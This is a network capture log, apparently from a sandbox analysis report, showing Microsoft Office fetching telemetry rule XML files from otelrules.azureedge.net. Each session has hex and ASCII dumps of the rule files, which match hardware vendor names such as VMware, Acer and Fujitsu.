2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190522Z-1777c6cb754gc8g6hC1TEB966c00000008f000000000hvqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190522Z-185f5d8b95c9mqtvhC1NYCghtc000000099g000000002g1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190523Z-185f5d8b95c96jn4hC1NYCbgp8000000092g00000000td1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190523Z-1777c6cb7544n7p6hC1TEByvb400000008pg000000008tdk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:22 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190523Z-1777c6cb754mrj2shC1TEB6k7w00000008ng00000000cg7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:23 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190523Z-r1d97b99577l6wbzhC1TEB3fwn00000007tg00000000nrat x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:23 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190523Z-r1d97b99577sdxndhC1TEBec5n00000007wg00000000b1as x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:23 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190523Z-1777c6cb754xlpjshC1TEBv8cc00000008rg0000000012x8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:23 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190523Z-185f5d8b95crwqd8hC1NYCps68000000095g000000009h24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:23 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190523Z-1777c6cb754j8gqphC1TEB5bf800000008a000000000vq92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:24 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:24 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190524Z-r1d97b99577kk29chC1TEBemmg00000007ug00000000b24h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:24 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:24 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:24 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190524Z-r1d97b99577d6qrbhC1TEBux5s00000007z0000000003dsv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:24 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> 